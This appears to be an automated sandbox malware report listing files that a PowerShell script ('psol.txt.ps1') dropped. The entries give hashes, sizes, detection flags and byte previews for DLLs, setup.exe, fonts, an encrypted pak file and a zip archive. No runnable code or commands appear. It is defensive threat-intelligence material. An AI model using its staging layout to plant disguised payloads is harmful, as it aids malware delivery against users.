SHA-512:	EFF62450CF03D72AF2594D750A70B008226FA2E46216661716287639BF5E1FF1303076FDAF4F062CA4098EF10A8E29502DE55ECB3A6E04753AAD7FCAD01E3352
Malicious:	false
Preview:	fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f7afa98f52ca8b3e14e6f3806fc3a44a3585974d19ab4b59221797d215806ff2f

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\resources.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5113668
Entropy (8bit):	7.996610650988207
Encrypted:	true
SSDEEP:
MD5:	DF15387BF046715CC592A690DA33E4B1
SHA1:	AD93B08DFF82CBD894F6A0A9733C70D7E564113D
SHA-256:	11D0F55C105883D203137A87A610BA793299DC4774FD6D8B3A86666A2C337041
SHA-512:	71244553D7B1B559FCAAA059622C340D22148BD5324FA3F6730D37322025DBFE5E853948B49B91DB6022A25BCA4DDBAB8FE6EE1522A461963DFBA04A7C93D69A
Malicious:	false
Preview:	............f.....h..&.....&.....&..........0.....0.....0.....0...0.0...0,9...0.;...07M...0nV...0.^...0.`...0Wg...0.i...0.l...0.l...0.n...0.o...0.p...0.u...0Yz...0.....0l....0.....0i....0.....0g....0.....0....0%....0e....0.....0.....0<....0.....0.....0K....0.....0\....1\|....1y....1.....1.....1H3..(7Q6..-7.A...7.B../7.E..07uJ..17)T..27.U..37.W..47Al..57.q..670...77...87....97^...:7....;7....<7....=7....>7....?7....@7Z...A7....B7\...C7....D7....E7....F7....G7....H7....j7Z...k7....l7....m7J...n7....o7....p7....q7....r7.,..s7.7..t7.d..u7xl..v7N...w7g...x7w...y7#...z7....{7....\|7[...}7...~7w....74....7.....7....7.....7.....7....7....7W....7g....7$....;f....;.....;.....;.....;I....;W....<Q....<,....<.....<.....<.....<Q....< ....<.....<.....<.....<2...<.5...<.k...<{p...<.x...<O....< ....<.....<.....<.....<....<.....<.....<l....<.....<Q....H.(...H.-...H.2...H.3...H.7...H.J...H.S...H.V...HaY...Hoa...H.f...H.l...H.v...H.\|...H?....HT....H.....H.....H.....Hk....H.....H.....H2....H.....H..

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\zx______.pfm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Printer Font Metrics AdobeSansMM, 683 bytes, AdobeSanMM
Category:	dropped
Size (bytes):	683
Entropy (8bit):	5.302956499064756
Encrypted:	false
SSDEEP:
MD5:	705CD85804C3DC1EEF81B624EA813BFB
SHA1:	5D5807713D14F45B9E5BCE0576ADE157BAD5A701
SHA-256:	B3E66A48A576F1D90277AEFB89AF9CFD370E7C216978234BFE66B6AB6FA2C0FD
SHA-512:	DBBF44D7FC2087E5318FCA440EB4C0396A9166AAB64DE31A901C0FE3C049A5577C021E43406E611D9EADA020233C1BA008DB46026F5A88D5C26C25125FAE46BA
Malicious:	false
Preview:	......Copyright (c) 1993, 1994, 1999 Adobe Systems Incorporated. .....,.,.^.{...........c.!&... .u.................................................4...............................d.2.2.d.....I.2.....PostScript.AdobeSanMM.AdobeSansMM.y...x.O.q.0...........{...........7...........r.........{.{.{.....[......./...........U.........t...y.M."...a...a.6...y...x.{.8...).I.0.I.1...Q.O.........l.O.T.H.I.......S...t.......q.\|.q.{.........F.x...!.!.....M.(...............x.x.............(.......6.y.........z.\|.7.....}...{.........{.......S.:...................[.[.[.[.[.[....././././.......................{...........6.t.\.).).).).).)...0.1.1.1.1.........T.O.T.T.T.T.T.{.S.S.S.S.S...J.....

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\zy______.pfm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Printer Font Metrics AdobeSerifMM, 684 bytes, AdobeSerMM serif proportional
Category:	dropped
Size (bytes):	684
Entropy (8bit):	5.228716799639252
Encrypted:	false
SSDEEP:
MD5:	7D3BE2EC810FA01A9EA7D2A26551CFF7
SHA1:	7962465CE36A83666FE7A3EDCB31E125ED597E93
SHA-256:	1A5660F3F8BB9D18FD6A710D70AF26CF1E167FE040D7DAF3CE41E527236E1FEC
SHA-512:	CD4BA616364F37AA8294C9A2A6B64ED3CF0B011CFCFFA9056295B5FC23348C2B3CFA96A25954C6DC472053DAA1F9F4B08176A515C95ABAB6FFD7077DEB8D7959
Malicious:	false
Preview:	......Copyright (c) 1992, 1993, 1994, 1999 Adobe Systems Incorpor.....,.,..................Q... .u.................................................4...............................d.2.2.d.....I.2.....PostScript.AdobeSerMM.AdobeSerifMM.R.`.......:.>...m.m...<...L.......w.....................<.<.<.).%.........s.S...3.^.....p.....-...-...>.......R.......e...e.<.....>.~...\|.;...d...3.*.].3.....v...y.........B.O.B.L...l...l.<.......................>.D...............................D.........R.`.....................<.L.......<...........................).................s.s.s.s.^.^.^.^.....-.-.-.-.-.<.-...............>.>.>.>.>.>.....;.;.;.;.3.3.3.3.v...v.v.v.v.v.<.v.........L...L...

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\SY______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript Type 1 font program data (Symbol 001.008)
Category:	dropped
Size (bytes):	34705
Entropy (8bit):	7.855714581856419
Encrypted:	false
SSDEEP:
MD5:	6FD0724D1FEE177ADAD6A13C65AF5268
SHA1:	6EFE2355D68306E2D5083895CED81002F7934EBC
SHA-256:	B0480C6F9CEE6BB87C1AE159A89A8A9D1FFA46E0AB70461FDF2FC291E2C94B4A
SHA-512:	61185EAFC64BF732A07ADD78FF6CF1BA3D0C988B64097F376018E5E710E35840A2556523AE6634C27CE45E47FFBDF36778452CCB3FA1F015DBCB02689F1E1797
Malicious:	false
Preview:	......%!PS-AdobeFont-1.0: Symbol 001.008.%%CreationDate: Fri Mar 28 22:03:48 1997.%%VMusage: 30820 39997.11 dict begin./FontInfo 10 dict dup begin./version (001.008) readonly def./Notice (Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated. All rights reserved.) readonly def./FullName (Symbol) readonly def./FamilyName (Symbol) readonly def./Weight (Medium) readonly def./isFixedPitch false def./ItalicAngle 0 def./UnderlinePosition -100 def./UnderlineThickness 50 def.end readonly def./FontName /Symbol def./Encoding 256 array.0 1 255 {1 index exch /.notdef put} for.dup 32 /space put.dup 33 /exclam put.dup 34 /universal put.dup 35 /numbersign put.dup 36 /existential put.dup 37 /percent put.dup 38 /ampersand put.dup 39 /suchthat put.dup 40 /parenleft put.dup 41 /parenright put.dup 42 /asteriskmath put.dup 43 /plus put.dup 44 /comma put.dup 45 /minus put.dup 46 /period put.dup 47 /slash put.dup 48 /zero put.dup 49 /one put.dup 50 /two put.dup 51 /three put.dup 52 /four put.

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\ZX______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript Type 1 font program data (AdobeSansMM 001.002)
Category:	dropped
Size (bytes):	75573
Entropy (8bit):	7.941988172738551
Encrypted:	false
SSDEEP:
MD5:	5EB6497FFAA36909F6B2A824054BD4D9
SHA1:	CC04C0CCAD1E9C10552F1AB7FAC45B0B529DE299
SHA-256:	BA8F3996FAD32C042BF1F474A08B7452F252060882DC4DE5A97EC389209E2301
SHA-512:	DD7A1B26DD041266404D86D6616C765EEDBFC71460CBCF15FCC02DE1704AE7E2892B25B6134017621F470768D4EB4A64010EC7FFEC459D0C669F107C66841CAA
Malicious:	false
Preview:	......%!PS-AdobeFont-1.0: AdobeSansMM 001.002.%%CreationDate: Tue Jan 12 16:26:35 1999.%%VMusage: 67223 80106.22 dict begin./FontInfo 14 dict dup begin./version (001.002) readonly def./Notice (Copyright (c) 1993, 1994, 1999 Adobe Systems Incorporated. All Rights Reserved.) readonly def./FullName (Adobe Sans MM) readonly def./FamilyName (Adobe Sans MM) readonly def./Weight (All) readonly def./isFixedPitch false def./ItalicAngle 0 def./UnderlinePosition -100 def./UnderlineThickness 50 def./BlendDesignPositions [ [0 0] [1 0] [0 1] [1 1] ] def./BlendDesignMap [[[50 0][1450 1]][[50 0][1450 1]]] def./BlendAxisTypes [/Weight /Width ] def.end readonly def./FontName /AdobeSansMM def./Encoding StandardEncoding def./PaintType 0 def./FontType 1 def./DesignVector [470 820] def./NormDesignVector [0.29999 0.54999 ] def./WeightVector [0.31502 0.13499 0.38499 0.16499 ] def./$Blend {0.13 mul exch 0.38 mul add exch 0.16 mul add add } bind def./FontMatrix [0.001 0 0 0.001 0 0] def./UniqueID 44278 def./X

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\ZY______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript Type 1 font program data (AdobeSerifMM 001.003)
Category:	dropped
Size (bytes):	96418
Entropy (8bit):	7.9615187818680555
Encrypted:	false
SSDEEP:
MD5:	72ABD7F6B6B7E6F2CCB06626AA8B46F1
SHA1:	F9CC5EFB748F4068AA08290EE58AA41F8BD4BB81
SHA-256:	1182FCC2FB887713FB954A804F83FAE3417C27B6929ECB07C5034DAC24586E8B
SHA-512:	D34A8D9FAC3EFEA7504F87B203C9074F7589CC726FCE0B23132EB14D75D2F9A5D67C13952F0F1FCE02FA44B786BDD17828C355471BD974B8D78A29ABFC8C7823
Malicious:	false
Preview:	......%!PS-AdobeFont-1.0: AdobeSerifMM 001.003.%%CreationDate: Tue Jan 12 15:56:45 1999.%%VMusage: 87626 100509.22 dict begin./FontInfo 14 dict dup begin./version (001.003) readonly def./Notice (Copyright (c) 1992, 1993, 1994, 1999 Adobe Systems Incorporated. All Rights Reserved.) readonly def./FullName (Adobe Serif MM) readonly def./FamilyName (Adobe Serif MM) readonly def./Weight (All) readonly def./isFixedPitch false def./ItalicAngle 0 def./UnderlinePosition -100 def./UnderlineThickness 50 def./BlendDesignPositions [ [0 0] [1 0] [0 1] [1 1] ] def./BlendDesignMap [[[110 0][790 1]][[100 0][900 1]]] def./BlendAxisTypes [/Weight /Width ] def.end readonly def./FontName /AdobeSerifMM def./Encoding StandardEncoding def./PaintType 0 def./FontType 1 def./DesignVector [300 600] def./NormDesignVector [0.27940 0.62500 ] def./WeightVector [0.27022 0.10478 0.45038 0.17462 ] def./$Blend {0.10 mul exch 0.45 mul add exch 0.17 mul add add } bind def./FontMatrix [0.001 0 0 0.001 0 0] def./UniqueID 4

C:\Users\user\AppData\Roaming\Extracted1\resource_\Register.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1081320
Entropy (8bit):	6.564787951526749
Encrypted:	false
SSDEEP:
MD5:	40B9628354EF4E6EF3C87934575545F4
SHA1:	8FB5DA182DEA64C842953BF72FC573A74ADAA155
SHA-256:	372B14FCE2EB35B264F6D4AEEF7987DA56D951D3A09EF866CF55ED72763CAA12
SHA-512:	02B0EA82EFBFBE2E7308F86BFBEC7A5109F3FE91D42731812D2E46AEBEDCE50AABC565D2DA9D3FBCD0F46FEBBFF49C534419D1A91E0C14D5A80F06B74888C641
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......d.................l..........8.............@.....................................................................;........-...................4...K...........................................................................................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...d............p..............@....bss.....d...P......."...................idata...-..........."..............@....edata..;............P..............@..@.reloc...............R..............@..B.rsrc................6..............@..@.....................4..............@..@........................................................................................................................................

C:\Users\user\AppData\Roaming\Extracted1\resource_\carferry.flv

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	12108
Entropy (8bit):	6.288980552421208
Encrypted:	false
SSDEEP:
MD5:	16A30926E4EBC495D3659854C3731F63
SHA1:	2B46D1EE4F0B9C6B184AAD6D9A246745B3B4163C
SHA-256:	DC260B93C358E10FC6F74C0B9F487DD0C2FD58E791EC5B0925B0546258923B36
SHA-512:	04A4893E068A6BCBEC340398868B37ADCF8D41580B2E6EB7A5CD30396A14ACD401E67CFBB0E3ED05FA31601CB0261B82DF2A4D9A3713DB7E39C61C7FB64EA71F
Malicious:	false
Preview:	..u.d.y.gvqc....Mcpu[..Z..G..H.m.J..i...D.Qp..FT..M....`OV..Uia.OE..b..wY...L.O.C..MhYv...QSBC.q......\...L.k[.nncg[FCjQDd.^...IrFT]F.o.R...G...[J.Cp.l.n.....^..s......A..Ce.UW......JBo.....kafR...c.p...XHa.P..c..qmHJ....PWq_Rw.K.[.SHC.n`..\Y^....U.Kyy_p.c.jj.X.W..Ch..Mhr.o...A...c.......lu.CWrmj.u.[..i.Za._c`a.Q.L.wqit`[.H.N.t...R..Uk...M.h\v.ZN...eq.....C....T....xA......u..qiKDpbnPto.taU..E.pb.t.H..lNEFOJ....FT_.Tdy...NUa.v.Etx..b....S....l.ni.j^mBQW...MRZ....f...rgL.p..F.[its........\....FO....c.HyEE..q..Q.g.G.....bUP..Xuv.G.w.F........Vp[.f..uf......LKXa._..Z.ZX...osp..qUG.B^\....r.F.FSdO]Psd.w.fVlQ..f_T.xid_.h.LQ.].BjdKuMfH..ZAZLt...K.QR.q..h.w.H..a..D....PPf..A..EFs.bnjJr...._..y..dI....VA]qE...tFk..Q.bqe`I.k......].....j..[D.a..C.D.....qN[...`U.BMe.....kJs.U.d.......U_y.....R....Kt..DI...wTdQX..m.D.QleMgR[Qd.n.`..yaIDABEap..q.bs..Ww.sT....._cl..Ii..X.K..k.w.A.tF...Fqn.h.pxL..[.sK.O.FVpi....o.b.....B.vkA\n_.T.....S......Djq..j.U.M...vH.f.J.bp..Jm.n.......G......L.u..H...Q.p..[\.

C:\Users\user\AppData\Roaming\Extracted1\resource_\glioma.asp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1511802
Entropy (8bit):	7.85439524691317
Encrypted:	false
SSDEEP:
MD5:	99083617F7139EE9AD5D6B719286AC3A
SHA1:	78AF90E2BF04D41A9839526B00630D439FECAFE0
SHA-256:	7CDDF32DE8B02B3ECF42C50DED8593770C5AB96D76247155F28D1D3CC87A541F
SHA-512:	A54EF634F43190FCF83EB1967B55E3E90A310C48ED0C8350DE86A92BE623F5502AB335E7A70CDFA8F126B3570B164781CFB625679741E6224976726655BF35AB
Malicious:	false
Preview:	...Ol....kgH..o.JQios.Ir...YqV.....d.q...FeQolnt.j.C.[...wb..f..k.`.Fe.UN.DQr.qf.QoY.H.R[......g.........`...........`s...t._l..f.G.x]yIil.H..Q....DKL.P.Z.c.t..D`.Xof.EgQ.smn]gAw.f.pCgb..S.H.bv.gs...p.\..es...L.r..g.F.B....tn.ou.Zs]..Fy....Z.TO.....Mnr..eH...EV.....R.I.....f..v.u.e.[c..ck`OK`O...fK.TriG......cJ..._....YV.M.UiPRc..RLo.\..c.....r.uj.kB..\OW.....IH..Nb^..H..W.IU]..Q..ct...B.N.QD..[oM`..\..dI..........._o[ZpRi.ZR..M.xYqgENV.O.K...Y..ZmXBH..X...x...\px.....CC...W...U.Bv..Zg..]Cb..Xn\[M.I....o...`..Gb.M_x.yAEoH.v..Y.I....jX..]Y....k..VJpp..q...Fmg....Oh..q\\.y].RhL..Vx...M..q.q..rfq..w......_...If..Y..........B.HxH_.rxctZ..Dvfxg.qrSxN..Pu.iEATm.Xj....].`w.....x....._.QdI...u[..T.ECu..PfF.ncVuET...`v]f[.i.._xD.rI.`w..T.f].]XF..c.E_.xmpgc.J.t..u.x..sjA.RI....g...uAt.K.V..t..EfE.Q.Ym...l..s..DmEcb..w`.H.P.rrrC.\...`.....IW...].^...K.......Y.K.C.x...g.C.........m.u.uwi.if..lIq.qdf...t...UR^.F\.y...Y....BU.c.V....S..Z[S.g........j..a..F....x....Y..pW....v..f.m..HLg.E.W.ny....V...

C:\Users\user\AppData\Roaming\Extracted1\resource_\libvlccore.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2673912
Entropy (8bit):	6.903320844778949
Encrypted:	false
SSDEEP:
MD5:	E25413BB41C2F239FFDD3569F76E74B0
SHA1:	073E2A86C5C24EDE4C4AD2D8614261121A8D2661
SHA-256:	9126D9ABF91585456000FFFD9336478E91B9EA07ED2A25806A4E2E0437F96D29
SHA-512:	37B8339555DCF825A2E27464EB1D101F8E4B56460D1B78161E99BA6761F1A967668F11BA888A712C878D468F419A455DBC5E8E55E7FB9D4FBC87CB78F500EA9F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:.:..(........!..........(..8........... ....tj.........................P).....?M)...@... .......................'.xU... (.. ...p(.H.............(..:....(.....p'......................`(.....................`%(..............................text...............................`.P`.data........ ......................@.`..rdata... ...@..."...,..............@.`@.buildid5....p'......N'.............@.0@.bss.....7....'.......................`..edata..xU....'..V...P'.............@.0@.idata... ... (.."....'.............@.0..CRT....,....P(.......'.............@.0..tls.... ....`(.......'.............@.0..rsrc...H....p(.......'.............@.0..reloc.......(.......'.............@.0B/4...........@).......(.............@.0B................................................................................................................................................

C:\Users\user\AppData\Roaming\Extracted1\resource_\resources.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5113668
Entropy (8bit):	7.996610650988207
Encrypted:	true
SSDEEP:
MD5:	DF15387BF046715CC592A690DA33E4B1
SHA1:	AD93B08DFF82CBD894F6A0A9733C70D7E564113D
SHA-256:	11D0F55C105883D203137A87A610BA793299DC4774FD6D8B3A86666A2C337041
SHA-512:	71244553D7B1B559FCAAA059622C340D22148BD5324FA3F6730D37322025DBFE5E853948B49B91DB6022A25BCA4DDBAB8FE6EE1522A461963DFBA04A7C93D69A
Malicious:	false
Preview:	............f.....h..&.....&.....&..........0.....0.....0.....0...0.0...0,9...0.;...07M...0nV...0.^...0.`...0Wg...0.i...0.l...0.l...0.n...0.o...0.p...0.u...0Yz...0.....0l....0.....0i....0.....0g....0.....0....0%....0e....0.....0.....0<....0.....0.....0K....0.....0\....1\|....1y....1.....1.....1H3..(7Q6..-7.A...7.B../7.E..07uJ..17)T..27.U..37.W..47Al..57.q..670...77...87....97^...:7....;7....<7....=7....>7....?7....@7Z...A7....B7\...C7....D7....E7....F7....G7....H7....j7Z...k7....l7....m7J...n7....o7....p7....q7....r7.,..s7.7..t7.d..u7xl..v7N...w7g...x7w...y7#...z7....{7....\|7[...}7...~7w....74....7.....7....7.....7.....7....7....7W....7g....7$....;f....;.....;.....;.....;I....;W....<Q....<,....<.....<.....<.....<Q....< ....<.....<.....<.....<2...<.5...<.k...<{p...<.x...<O....< ....<.....<.....<.....<....<.....<.....<l....<.....<Q....H.(...H.-...H.2...H.3...H.7...H.J...H.S...H.V...HaY...Hoa...H.f...H.l...H.v...H.\|...H?....HT....H.....H.....H.....Hk....H.....H.....H2....H.....H..

C:\Users\user\AppData\Roaming\Extracted1\resource_\rtl120.bpl

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1112040
Entropy (8bit):	6.832491592471325
Encrypted:	false
SSDEEP:
MD5:	ADF82ED333FB5567F8097C7235B0E17F
SHA1:	E6CCAF016FC45EDCDADEB40DA64C207DDB33859F
SHA-256:	D6DD7A4F46F2CFDE9C4EB9463B79D5FF90FC690DA14672BA1DA39708EE1B9B50
SHA-512:	2253C7B51317A3B5734025B6C7639105DBC81C340703718D679A00C13D40DD74CCABA1F6D04B21EE440F19E82BA680AA4B2A6A75C618AED91BD85A132BE9FC92
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\Extracted1\resource_\rtl120.bpl, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......H...........................................P.........................`......U...........................................X$...p...................K......h.......................................................x............................text............................... ..`.itext........... .................. ..`.data...tw.......x..................@....bss.... T...@...........................idata..X$.......&..................@....edata...............D..............@..@.rdata...............&..............@..@.reloc..h............(..............@..B.rsrc........p......................@..@.............`......................@..@................................................................................................

C:\Users\user\AppData\Roaming\Extracted1\setup.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4006832
Entropy (8bit):	6.685313868613018
Encrypted:	false
SSDEEP:
MD5:	AC0571EDB2C48A0AD96316D995E38ABC
SHA1:	56F76FB3D48D1F1C15E70481CD75743B8E2D6A28
SHA-256:	BB9DE58568867799C964DE3C59A7E70A4C69703444126740DCA59A8306CA9BE3
SHA-512:	4078B4035AAE258FD6E5E46A468DEA927D00E1C8CA197ACC88434A22F80E38FBF3215117D817F72CE554A2E7AA579B4BAAC3B3097D28D40BD8CF86DEB8C5BE0A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...rh"_..................,..........+,......0,...@...........................@.......>..........@...........................p0..A....4..0............=..#....0.P.............................0.....................h\|0.......0......................text...4.+.......+................. ..`.itext..X,....,.......+............. ..`.data...t....0,.......,.............@....bss.....]....-.......,..................idata...A...p0..B....,.............@....didata.......0......2-.............@....tls....D.....0......<-..................rdata........0......<-.............@..@.reloc..P.....0......>-.............@..B.rsrc....0....4..0....0.............@..@..............=......<9.............@..@........................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.682832893174631
Encrypted:	false
SSDEEP:
MD5:	227FFAC26B0CD7B72FB8817AD75EE86D
SHA1:	A2C18322DD324AEDA20F73207FDD823D33E0E438
SHA-256:	E1D50B16077EE83A73EBAC283809236D8F774BF5F5BAF76FD0A714DB2B33FB9C
SHA-512:	2C01437C681B98D2F8661654FE392BA70075B1D21AC1A56D968CC5CE35D77272BD0C3E0D24276CD71536C1C1B2E27E726656A50B9EC71122BFCA4176C9581024
Malicious:	false
Preview:	...................................FL..................F.".. ...d.........x.=..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....b7.t.=.....x.=......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSlwY.d....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....wY.d..Roaming.@......DWSlwY.d....C.....................6.3.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSlwY.d....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSlwY.d....E.....................b.C.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSlwY.d....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSlwY.d....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlwY.d....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V6IVYMX5XPK2CUAF6PWT.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.682832893174631
Encrypted:	false
SSDEEP:
MD5:	227FFAC26B0CD7B72FB8817AD75EE86D
SHA1:	A2C18322DD324AEDA20F73207FDD823D33E0E438
SHA-256:	E1D50B16077EE83A73EBAC283809236D8F774BF5F5BAF76FD0A714DB2B33FB9C
SHA-512:	2C01437C681B98D2F8661654FE392BA70075B1D21AC1A56D968CC5CE35D77272BD0C3E0D24276CD71536C1C1B2E27E726656A50B9EC71122BFCA4176C9581024
Malicious:	false
Preview:	...................................FL..................F.".. ...d.........x.=..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....b7.t.=.....x.=......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSlwY.d....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....wY.d..Roaming.@......DWSlwY.d....C.....................6.3.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSlwY.d....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSlwY.d....E.....................b.C.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSlwY.d....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSlwY.d....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlwY.d....q...........

C:\Users\user\AppData\Roaming\pwrd.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	25136080
Entropy (8bit):	7.972496383100084
Encrypted:	false
SSDEEP:
MD5:	6893CDEF7D2795E0F0E5480742FD5E36
SHA1:	E2A7377C0806AE3AA254369C90A38FE57210D44A
SHA-256:	DAA714A8D81A126E1B317BB27F6368F6681472068AB854B004DA8CEEFFF3E38C
SHA-512:	BD5DDBD1CE2AE9B6A1D4F0C288BE47DE20A0DCD142AAF0EE023381A6200B417C1CA28A81097A841BFF2F2211CDC34BBD5E8879B46262F4B7352BB6866161864B
Malicious:	false
Preview:	PK........$..Y........L/.... .carferry.flvUT.....f.6>g.6>gux..............x.x...D&[..!........7...a.....L&.I2..d&s.%.A.".....J...Fh.a.df.. ..M=X....G[q.$Am......O"n....C.......z.... .N..O"....:Bq3....@.~P...u)T.....=f....Zm.......xQ.z...-...VU#.@..O#..3C ....o....xQ...6.!...v...$!h..[..Dy."....F..J.d..lnZ......6.........aKu..`.....V.......;:,!\|..z@....<.A~3p.;A[.$..8.....,....0.d.5f5#L:....G.BKc.L:......Z........V.4d.p. .l.....hG.{.dr=.@^k.Zg.~..l..Y....P..@+x....F[m..n..x4.....<.\|.@.....C..C....G....>...I\......d.......b.......M.P..ff>...5N}..u..w][.zd...V..Z@S.M .:.q..#5.L..N.U..L....6".%.s.l..Q.....]......9'j.c....(.{.eU......."..dP....L.6.X..I.."...p....?....6J.:.0\?.A.K.6W9..H...R..l....kc..,..6d8VO=.^%1.....0.P..}....F^..C.....>Qc...O6...S@.V....E.v.X.....3..S..&x..8..z....xlQ.........t..C.@>Z..Z...v.O.6M....vu..K.q.sRe...8F.......(.M.=.q..V..8...p.b6(..(^.VE.."hG`u.0.&.i.<"Dwh.&.....6D#....J...7.j..).t..OB.1..$....A....z..e....n.$........

Static File Info

General

File type:	ASCII text
Entropy (8bit):	5.4832276028492055
TrID:
File name:	psol.txt.ps1
File size:	459 bytes
MD5:	a08cd6c1b50f050a764180741c3b32c4
SHA1:	8e490919f1fa3ee1a75fd59fa3426d95cc455bd4
SHA256:	47110ef49f5b24c718d63e79c4cbbb0121bdfc4889d42febe5a5409a2f2f3899
SHA512:	e5a799d4c3c8572ea4a127ab9ee73d85b80c3339f4d0b73b44b6b183764732bac7e3a19aa9baa86ebb3c4cbf6b1a5c5f102075e3d8401473c657131a8172d77a
